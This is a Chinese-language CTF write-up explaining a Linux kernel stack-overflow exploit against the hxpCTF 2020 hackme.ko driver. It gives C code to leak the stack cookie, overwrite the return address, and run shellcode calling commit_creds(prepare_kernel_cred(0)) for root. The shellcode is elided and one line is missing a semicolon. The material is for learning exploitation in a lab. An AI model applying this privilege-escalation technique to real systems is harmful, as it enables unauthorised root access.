流程
1.打开设备
2.堆泄露cookie
3. 覆盖返回地址
4.获取Root权限
5.返回用户空间
6.kaslr
7.堆栈转移
8.覆盖CR4
9.SMEP
hxpCTF 2020 做kernel利用讲解。主要易受攻击模块是 hackme.ko 。
分析内核模块:
uHackme_init() 它注册一个名为hackme的设备驱动文件
uHackme_read() 设备驱动的read操作
uHackme_write() 设备驱动的write操作
uHackme_open() 设备驱动的open操作
uHackme_release() 设备驱动的release操作
使用IDA 分析hackme_read()、hackme_write()函数。
这里读写都有很明显的栈溢出,但是判断溢出的大小为0x1000.
为了学习各种保护绕过措施,使用这个题目来当例子。
这里栈溢出保护是编译时开启的保护,qemu模拟启动是无法关闭的,但是漏洞存在泄露。可以忽略不计。
在用户空间pwn时,一个简单的堆栈缓冲区溢出,且禁用了ASLR、NX保护,我们就可以将shellcode放在堆栈上某个位置,调试找出位置后,覆盖当前函数的返回地址,函数返回后执行shellcode得到一个shell。
在内核pwn时,因为受攻击的函数是一个内核函数,所以传入的shellcode也会在内核中执行,通过这种方式,已经实现了内核中任意代码执行能力。
首先打开设备模块与它交互,linux中定义万物皆文件。
int global_fd;
void open_dev(){
global_fd = open("/dev/hackme", O_RDWR);
if (global_fd < 0){
puts("[!] Failed to open device");
exit(-1);
} else {
puts("[*] Opened device");
}
}
完成后,使用golba_fd来进行读取和写入。
因为有栈溢出,所以很容易绕过。tmp堆栈本身的缓冲区长度为0x80字节,堆栈cookie紧随其后。因此,将数据读到array中,cookie将位于偏移16:
unsigned long cookie;
void leak(void){
unsigned n = 20;
unsigned long leak[n];
ssize_t r = read(global_fd, leak, sizeof(leak));
cookie = leak[16];
printf("[*] Leaked %zd bytes\n", r);
printf("[*] Cookie: %lx\n", cookie);
}
这里与泄漏点cookie相同,创建一个数组,然后将偏移16处应用泄漏到的cookie。这里要注意的是,与用户层程序不同,内核函数实际上从堆栈中弹出了3个寄存器,即 rbx、r12、rbp。因此,必须在cookie之后放置3个三个虚拟值。然后下一个值将是我们希望程序返回的地址也就是提权函数。
void overflow(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = (unsigned long)0x4141414141
puts("[*] Prepared payload");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
4.获取Root权限
通常,最常用的方法是使用commit_creats() prepare_kernel_cred()两个函数,这些函数已经驻留在内核空间代码段中。我们只需要像 commit_creds(prepare_kernel_cred(0)) 这样调用两个函数。因为kaslr禁用,所以函数所在地址在每次启动都是恒定的。因此可以通过以下命令读取文件来获取这些地址:
cat /proc/kallsyms |grep prepare_kernel_cred
ffffffff814c67f0 T prepare_kernel_cred
ffffffff81f8d4fc r __ksymtab_prepare_kernel_cred
ffffffff81fa09b2 r __kstrtab_prepare_kernel_cred
ffffffff81fa4d42 r __kstrtabns_prepare_kernel_cred
cat /proc/kallsyms |grep commit_creds
ffffffff814c6410 T commit_creds
ffffffff81f87d90 r __ksymtab_commit_creds
ffffffff81fa0972 r __kstrtab_commit_creds
ffffffff81fa4d42 r __kstrtabns_commit_creds
然后实现root权限代码可以编写如下:
void shellcode(void){
__asm__(
".intel_syntax noprefix;"
"movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax; mov rdi, rax;"
"movabs rax, 0xffffffff814c6410;" //commit_creds
"call rax;"
...
".att_syntax;"
);
}